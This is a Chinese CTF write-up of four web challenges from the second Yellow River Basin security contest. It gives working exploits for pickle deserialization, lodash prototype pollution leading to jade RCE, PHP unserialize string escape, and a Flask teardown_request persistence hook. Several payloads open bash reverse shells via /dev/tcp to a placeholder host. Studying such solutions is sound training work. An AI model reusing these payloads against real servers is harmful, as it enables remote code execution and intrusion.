第二届黄河流域网络安全技能挑战赛Web_wirteup

前言

好久没写过比赛的wp了，黄河流域的web出的不错，挺有意思了，花了点时间，也是成功的ak了

myfavorPython

注册登录，一个base64输入框，猜测pickle反序列化，简单测试下，返回的数据是pickletools.dis解析的opcode结构，猜测其实已经load了，但是没回显，写个反弹shell的opcode：

import pickle
import base64
class Exp(object):
    def __reduce__(self):    
       return (os.system,("bash -c \"bash -i >&/dev/tcp/vps/ip 0>&1\"",))
a = Exp()
print(base64.b64encode(pickle.dumps(a)))

发送，拿到shell，cat flag

Ezzz_Proto

const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');


const app =  express();
var router = express.Router();

app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));


app.get('/',function (req, res) {
    res.send('Hello World');
})

app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    var malicious_payload = JSON.stringify(req.body);
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
})
app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))

阅读源码，merge处可原型链污染，这里用的jade引擎，应该可以打jade的rce，简单找了个payload，{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/ip 0>&1\"'))"}}，没打通，追踪一下流程，前面的一切正常，追踪到complie处

compile: function(){
    this.buf = [];
    if (this.pp) this.buf.push("var jade_indent = [];");
    this.lastBufferedIdx = -1;
    this.visitCode(this.node);
    if (!this.dynamicMixins) {
      // if there are no dynamic mixins we can remove any un-used mixins
      var mixinNames = Object.keys(this.mixins);
      for (var i = 0; i < mixinNames.length; i++) {
        var mixin = this.mixins[mixinNames[i]];
        if (!mixin.used) {
          for (var x = 0; x < mixin.instances.length; x++) {
            for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {
              this.buf[y] = '';
            }
          }
        }
      }
    }
    return this.buf.join('\n');
  },

这里使用的是visitCode去查AST树，上面的payload满足的是使用visit去查，跟进一下，设置val的值为恶意代码即可

visitCode: function(code){
    // Wrap code blocks with {}.
    // we only wrap unbuffered code blocks ATM
    // since they are usually flow control

    // Buffer code
    if (code.buffer) {
      var val = code.val.trim();
      val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
      if (code.escape) val = 'jade.escape(' + val + ')';
      this.bufferExpression(val);
    } else {
      this.buf.push(code.val);
    }

    // Block support
    if (code.block) {
      if (!code.buffer) this.buf.push('{');
      this.visit(code.block);
      if (!code.buffer) this.buf.push('}');
    }
  },

所以最终的payload为：{"__proto__":{"compileDebug":1,"self":1,"val":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'))"}}
拿到shell，cat flag

逃跑大师

highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}
class A{
    public $A;
    public $B = "HELLO";
    public $C = "!!!";
    public function __construct($A){
        $this->A = $A;
    }
    public function __destruct(){
        $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
        echo $key;
        eval($key);
    }
}
if(isset($_POST['escape'])) {
    $Class = new A($_POST['escape']);
    $Key = serialize($Class);
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);
    unserialize($K);
}
else{
    echo "nonono";
} nonono

反序列化逃逸，利用点在eval($_key)，我们得控制$key的值，$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); 我们逃逸可以控制$B和$C的值，分析一下substrstr函数，根据[,] 的位置来截取字符串，这里有点讲究，这里假设$C=1，后面拼接了[welcome sdpcsec1]18个字符，我们截取到-18即可，控制$end=0，$start=19，即]111111111111111111[phpinfo()]; ，这样就能成功执行phpinfo，接下来看逃逸，增量逃逸，简单构造下逃逸的字符串：";s:1:"B";s:41:"]111111111111111111[system("cat /flag")];";s:1:"C";s:1:"1";} ,长76，在前面加上76个SDPCSEC ，post拿到flag

Python-revenge

import base64
import io
import os
import pickle
import pickletools
import sys

from flask import Flask, render_template, request, redirect, url_for, session
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user

app = Flask(__name__)
app.secret_key = 'welcome_to_here'  # 修改为一个随机的密钥

# 初始化 Flask-Login
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

# 模拟一个用户类
class User(UserMixin):
    def __init__(self, id):
        self.id = id

# 模拟用户数据库
users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}

@login_manager.user_loader
def load_user(user_id):
    return User(user_id)




@app.route('/login', methods=['GET', 'POST'])

def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user_data = users.get(username)
        if user_data and user_data.get('password') == password:
            user = User(username)
            login_user(user)

            session['role'] = 'admin' if username == 'admin_id' else 'user'

            return render_template('index.html')
    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    logout_user()
    session.pop('role', None)
    return redirect(url_for('login'))

@app.route('/', methods=['GET', 'POST'])
@login_required
def index():
    results = ""
    if request.method == 'POST':
        a = request.form['text']
        output = io.StringIO()
        try:
            decoded_data = base64.b64decode(a)
            if b'before' in decoded_data or b'after' in decoded_data:
                results = "不可以添加函数！"
                return render_template("index.html",results=results)
            elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data:
                results = "不能写文件嗷！"
                return render_template("index.html",results=results)
            else:
                pickle.loads(decoded_data)
            with io.StringIO() as file:
                old_stdout = sys.stdout
                sys.stdout = file
                try:
                    pickletools.dis(decoded_data)
                finally:
                    sys.stdout = old_stdout
                results = file.getvalue()
        except:
            results = "error"

        return render_template('index.html', results=results)
    else:
        return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        # 检查用户名是否已存在
        if username in users:
            return "用户名已存在，请选择其他用户名"

        # 创建新用户
        users[username] = {'password': password, 'role': 'user'}

        # 登录新用户
        user = User(username)
        login_user(user)

        return redirect(url_for('index'))

    return render_template('register.html')


if __name__ == '__main__':
    app.config['SESSION_COOKIE_NAME'] = 'session'
    app.run(host='0.0.0.0', port=5000)

逻辑跟第一道web题一样，不过这次不出网，而且还有黑名单，常规的内存马写法被限制的死死的，翻阅源码的钩子函数，找到个teardown_request，这个函数会在每次request后执行，即使抛出异常也会执行（在debug=False）的情况下，简单构造一下：app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
base64的数据为：cat flag.txt > /app/static/flag.txt

import pickle
import base64

class Exp(object):
    def __reduce__(self):    
       return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))
a = Exp()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

post数据，访问/static/flag.txt拿到flag

• 前言
• myfavorPython
• Ezzz_Proto
• 逃跑大师
• Python-revenge

__EOF__